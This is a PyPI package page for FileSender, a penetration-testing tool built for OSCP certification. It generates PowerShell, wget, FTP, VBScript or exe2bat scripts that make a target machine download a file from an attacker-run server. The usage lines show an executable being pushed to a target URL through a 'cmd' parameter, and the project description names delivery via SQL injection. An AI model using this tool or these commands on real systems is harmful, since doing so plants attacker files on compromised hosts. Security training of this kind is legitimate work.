Skip to main content

Create script into different language to download a file form a server . Can be useful to send file via a SQLi.

Project description

PyPi License Donate Beerpay

Table of Contents

FileSender

Project URL : https://github.com/EmilienPer/FileSender

FileSender was created to be used for OSCP certification. It's aims to generate a script to upload a file to a target in different languages. The base mechanism is the following :

  • Copy the file in a tempory directory
  • Start a server (if required)
  • Create the script to download the file from the server or to build the file
  • Send the script to the target

Requirement

FileSender run on Python 2.7 can't work correctly without the following tools

The following tools are required:

  • upx (/usr/bin/upx)
  • exe2bat.exe
  • wine

Installation

sudo pip install filesender

Options

Option Shortcut Description
file The path to file to send
method the language of the script (powershell,hex,ftp,wget,vbscript,exe2bat)
type the type of output/sending method (print / get / post)
dest the destination directory on the target
--server-ip The local ip address
--server-port The local port
--url -u The Target URL
--params -p A json {key:value} where value=<SCRIPT> when should be replace by the script
--cookies -c The cookies json
--timeout The timeout for server

Usage

  • filesender /path/to/my/file.exe wget get /path/on/the/target --server-ip 10.10.10.10 --server-port 80 -u http://target.com -p {\"cmd\":\"<SCRIPT>\"} -c {} --timeout 10
  • filesender /path/to/my/file.exe ftp print /path/on/the/target
  • filesender /path/to/my/file.exe wget get /path/on/the/target --server-ip 10.10.10.10 --server-port 80 -u http://target.com -p {\"cmd\":\"<SCRIPT>\"}

Issues management

For contributions or suggestions, please open an Issue and clearly explain, using an example or a use case if appropriate.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

filesender-1.2.1.tar.gz (7.0 kB view details)

Uploaded Source

Built Distribution

filesender-1.2.1-py2-none-any.whl (22.3 kB view details)

Uploaded Python 2

File details

Details for the file filesender-1.2.1.tar.gz.

File metadata

  • Download URL: filesender-1.2.1.tar.gz
  • Upload date:
  • Size: 7.0 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/1.12.1 pkginfo/1.5.0.1 requests/2.21.0 setuptools/39.0.1 requests-toolbelt/0.9.1 tqdm/4.30.0 CPython/2.7.15

File hashes

Hashes for filesender-1.2.1.tar.gz
Algorithm Hash digest
SHA256 01e1d179266be26140cc835c2ac8d831d2005ac8d5fd8b9ef497fdf43b52e2fa
MD5 4809db8cb5505be3afa79388bbe0cff4
BLAKE2b-256 7913fd84c05185e03284a544502be1f03a612b98059d3d98d15c0111f5ccf0a0

See more details on using hashes here.

File details

Details for the file filesender-1.2.1-py2-none-any.whl.

File metadata

  • Download URL: filesender-1.2.1-py2-none-any.whl
  • Upload date:
  • Size: 22.3 kB
  • Tags: Python 2
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/1.12.1 pkginfo/1.5.0.1 requests/2.21.0 setuptools/39.0.1 requests-toolbelt/0.9.1 tqdm/4.30.0 CPython/2.7.15

File hashes

Hashes for filesender-1.2.1-py2-none-any.whl
Algorithm Hash digest
SHA256 8ce0ed40f716534a9f8731d81111884f0f82d8f64f14b8bd0c8890229911b4df
MD5 25746c8da89febc5b19c8875a00a40ce
BLAKE2b-256 29f262787b2a65f1e924026373d3ecf6251f8881b9986058d73c8a9989743a61

See more details on using hashes here.

Supported by

AWS AWS Cloud computing and Security Sponsor Datadog Datadog Monitoring Fastly Fastly CDN Google Google Download Analytics Microsoft Microsoft PSF Sponsor Pingdom Pingdom Monitoring Sentry Sentry Error logging StatusPage StatusPage Status page